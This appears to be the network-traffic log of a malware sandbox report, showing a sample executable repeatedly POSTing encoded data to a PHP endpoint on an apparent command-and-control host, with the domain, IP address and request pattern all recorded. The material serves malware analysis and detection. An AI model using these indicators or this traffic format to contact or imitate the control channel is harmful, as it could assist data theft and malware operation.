Jan 7, 2025 11:57:14.678610086 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 01 22 0a 23 1a 30 5b 2c 0d 33 38 29 0e 29 32 21 12 3f 33 0b 01 30 01 3c 0d 32 02 2f 12 20 3c 06 42 2a 2f 07 59 23 30 26 50 26 39 28 5c 00 1b 24 5b 27 22 33 1e 2a 0c 31 0a 27 27 08 1b 26 21 30 15 21 13 0c 18 35 5f 3e 0c 22 3e 34 51 39 2e 2b 57 3f 37 23 14 39 19 2f 5d 20 29 20 51 0d 17 38 15 24 10 3b 02 33 3c 3e 5b 23 27 20 56 34 1c 21 1f 25 02 22 5c 26 2e 27 5b 3f 07 1d 06 21 2c 29 14 21 01 28 0c 21 5c 3a 53 2a 2c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"#0[,38))2!?30<2/ <B/Y#0&P&9(\$['"31''&!0!5_>">4Q9.+W?7#9/] ) Q8$;3<>[#' V4!%"\&.'[?!,)!(!\:S*,#]" R3XO
Jan 7, 2025 11:57:14.738513947 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1856 Expect: 100-continue
Jan 7, 2025 11:57:14.932333946 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:14.932606936 CET	1856	OUT	Data Raw: 55 5e 5c 5d 5f 49 59 5b 5a 59 51 55 5a 5e 50 56 55 52 5b 5b 55 55 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^\]_IY[ZYQUZ^PVUR[[UUT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y1&<;63/0%%+5Y3/66> U9/0'#/:4%[/ Q-
Jan 7, 2025 11:57:15.197273016 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 06 22 0a 01 57 30 3d 09 55 24 16 31 0d 2b 0b 31 12 29 23 25 07 30 01 3b 55 25 5a 3f 58 22 3c 3f 1b 2b 2f 39 58 23 23 21 0e 25 13 28 5c 00 1b 24 11 33 0b 37 1e 29 32 26 1e 26 27 22 14 26 22 2c 16 22 3d 3d 08 35 00 22 0a 20 2d 28 19 2e 3e 2f 11 28 1a 2b 5e 2d 09 3b 11 22 39 20 51 0d 17 38 51 26 3e 2f 07 27 05 39 05 35 37 16 51 20 0b 31 5a 26 05 3e 5c 32 3d 02 03 28 07 1a 58 21 3c 04 07 23 28 24 0f 36 14 3e 56 3e 06 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"W0=U$1+1)#%0;U%Z?X"<?+/9X##!%(\$37)2&&'"&","==5" -(.>/(+^-;"9 Q8Q&>/'957Q 1Z&>\2=(X!<#($6>V>#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:14.406008005 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:14.761149883 CET	2536	OUT	Data Raw: 55 59 5c 5c 5a 46 59 52 5a 59 51 55 5a 5d 50 56 55 5f 5b 5a 55 50 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UY\\ZFYRZYQUZ]PVU_[ZUPT\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<!+03"0[$%$0%">(3?'##^.%[/ Q-,
Jan 7, 2025 11:57:15.062171936 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:15.230092049 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:15.472419977 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:15.823748112 CET	2536	OUT	Data Raw: 50 5e 5c 58 5f 45 5c 55 5a 59 51 55 5a 55 50 51 55 56 5b 5d 55 57 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\X_E\UZYQUZUPQUV[]UWT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_<.(3\ 'Y0C4U'%$<"6<><0/<7,\.%[/ Q-
Jan 7, 2025 11:57:16.097291946 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:16.223203897 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:16.222125053 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:16.574150085 CET	1856	OUT	Data Raw: 50 58 59 5b 5f 42 59 53 5a 59 51 55 5a 5e 50 5c 55 52 5b 5a 55 55 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PXY[_BYSZYQUZ^P\UR[ZUUT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^+2&](3"?]$,P3^$<6=3,V%,873.$%[/ Q-
Jan 7, 2025 11:57:16.895900011 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:17.032717943 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 00 22 1d 27 1a 30 3d 30 08 33 28 04 51 2b 22 2e 00 3c 23 0c 13 24 06 30 0d 25 3f 38 00 21 2c 3c 06 3d 3f 0c 07 35 0e 0c 57 26 03 28 5c 00 1b 27 04 24 31 27 10 3e 0c 36 57 26 24 26 14 31 22 0d 01 36 2e 32 1b 35 17 21 1f 23 3d 01 0b 2e 2e 27 1e 28 0a 09 5d 39 09 28 00 20 29 20 51 0d 17 38 56 30 07 23 02 26 2c 03 00 23 37 16 55 23 35 26 01 24 2c 03 02 25 5b 3b 10 28 07 20 12 36 2f 21 58 35 5e 23 54 35 29 2d 0b 3d 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"'0=03(Q+".<#$0%?8!,<=?5W&(\'$1'>6W&$&1"6.25!#=..'(]9( ) Q8V0#&,#7U#5&$,%[;( 6/!X5^#T5)-=<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:16.364454985 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:16.714334011 CET	2536	OUT	Data Raw: 55 58 5c 5c 5a 43 59 57 5a 59 51 55 5a 59 50 5c 55 53 5b 5a 55 54 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\\ZCYWZYQUZYP\US[ZUTT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+<#\5/X'$%;905Y5=,R>90$?##<-%[/ Q-<
Jan 7, 2025 11:57:17.004218102 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:17.131869078 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:17.429282904 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:17.802684069 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:18.151851892 CET	2536	OUT	Data Raw: 50 53 5c 5a 5f 44 59 53 5a 59 51 55 5a 58 50 51 55 52 5b 5a 55 52 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\Z_DYSZYQUZXPQUR[ZURT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]*1.\>0;]!$0%<08=X'16. W)4T'; 0/.%[/ Q-8
Jan 7, 2025 11:57:18.439106941 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:18.573005915 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:21.611577034 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:22.266911030 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:22.335910082 CET	2536	OUT	Data Raw: 55 5d 59 5e 5f 43 59 55 5a 59 51 55 5a 5b 50 55 55 56 5b 53 55 55 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]Y^_CYUZYQUZ[PUUV[SUUT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y*1(U$5/0%4Q$^&3/![5#)_,W3$4$\:4%[/ Q-
Jan 7, 2025 11:57:22.602164030 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:22.048356056 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1856 Expect: 100-continue
Jan 7, 2025 11:57:22.401784897 CET	1856	OUT	Data Raw: 55 5d 5c 58 5f 48 5c 51 5a 59 51 55 5a 5b 50 54 55 57 5b 5b 55 52 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\X_H\QZYQUZ[PTUW[[URTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+"_<<!0$%?389\',9Z!.<S*9W%<' ?,$%[/ Q-
Jan 7, 2025 11:57:22.721086979 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:22.893515110 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 5e 35 42 3f 1a 30 13 30 09 24 5e 26 55 2b 54 21 5e 3f 30 35 01 30 01 38 0f 26 3f 20 02 21 5a 34 41 29 11 03 5d 36 09 29 0c 25 13 28 5c 00 1b 24 11 33 0b 33 52 2a 22 26 11 27 24 2e 5c 25 54 2c 59 23 3d 31 0c 21 17 0b 53 23 3d 2f 0b 2d 2e 33 1c 3f 24 20 06 2e 37 28 05 37 29 20 51 0d 17 38 1a 24 10 34 5e 24 02 31 00 21 37 12 1c 20 36 39 10 32 3c 22 10 25 3e 3b 10 3f 00 38 5b 36 2c 04 00 21 28 0a 0f 22 04 29 0b 29 06 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &^5B?00$^&U+T!^?0508&? !Z4A)]6)%(\$33R*"&'$.\%T,Y#=1!S#=/-.3?$ .7(7) Q8$4^$1!7 692<"%>;?8[6,!("))#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:23.469995022 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:23.824059963 CET	2536	OUT	Data Raw: 50 58 5c 5b 5f 44 59 53 5a 59 51 55 5a 54 50 53 55 55 5b 5d 55 54 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\[_DYSZYQUZTPSUU[]UTT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?!!?3(500 V3860=" =)0$/<\7;,$%[/ Q-
Jan 7, 2025 11:57:24.132811069 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:24.285155058 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:24.640384912 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:24.995634079 CET	2532	OUT	Data Raw: 55 5d 5c 58 5f 41 5c 50 5a 59 51 55 5a 5c 50 53 55 54 5b 59 55 57 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\X_A\PZYQUZ\PSUT[YUWT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y+?3;\" ?Z0% $809">#*)'0,448_:4%[/ Q-0
Jan 7, 2025 11:57:25.282749891 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:25.410613060 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:25.901210070 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:26.245579958 CET	2536	OUT	Data Raw: 50 5e 5c 5b 5f 47 59 55 5a 59 51 55 5a 5e 50 51 55 5f 5b 5b 55 52 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\[_GYUZYQUZ^PQU_[[URT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(W1<050 '&43^)&?>"X<V*_0S',8##$Y:4%[/ Q-
Jan 7, 2025 11:57:26.538075924 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:26.667781115 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:26.826067924 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:27.183049917 CET	2536	OUT	Data Raw: 55 5f 5c 5a 5f 49 59 57 5a 59 51 55 5a 58 50 5c 55 55 5b 5b 55 5f 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\Z_IYWZYQUZXP\UU[[U_T_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?<;!?$C4Q0("$,5()''7 -$%[/ Q-8
Jan 7, 2025 11:57:27.462770939 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:27.595046997 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:27.734493017 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:27.908358097 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:28.262236118 CET	1856	OUT	Data Raw: 55 5a 5c 58 5f 43 59 51 5a 59 51 55 5a 54 50 5c 55 53 5b 5f 55 54 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UZ\X_CYQZYQUZTP\US[_UTT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<=</Z"#8'6#0;0Z!- R)*0U3?(^7/94%[/ Q-
Jan 7, 2025 11:57:28.564624071 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:28.696059942 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 02 35 24 20 0e 33 04 24 0d 24 2b 2a 1c 3f 54 21 5e 3f 30 22 11 25 2b 2f 54 31 12 3b 10 22 3f 37 1d 3e 3c 31 59 23 33 35 09 31 39 28 5c 00 1b 24 13 27 0c 34 0b 2a 54 32 53 25 34 2d 04 26 0b 24 58 35 13 29 09 21 5f 2a 0e 34 5b 38 52 2e 00 33 52 3c 1d 3b 5c 3a 09 3c 03 20 39 20 51 0d 17 3b 0e 24 2e 05 07 24 3c 3a 11 21 09 23 09 22 25 31 5b 25 2f 2a 5b 26 2d 30 04 3f 07 33 01 35 3c 3a 05 35 38 30 0c 20 3a 2a 53 28 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %5$ 3$$+?T!^?0"%+/T1;"?7><1Y#3519(\$'4T2S%4-&$X5)!_4[8R.3R<;\:< 9 Q;$.$<:!#"%1[%/[&-0?35<:580 :*S(<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
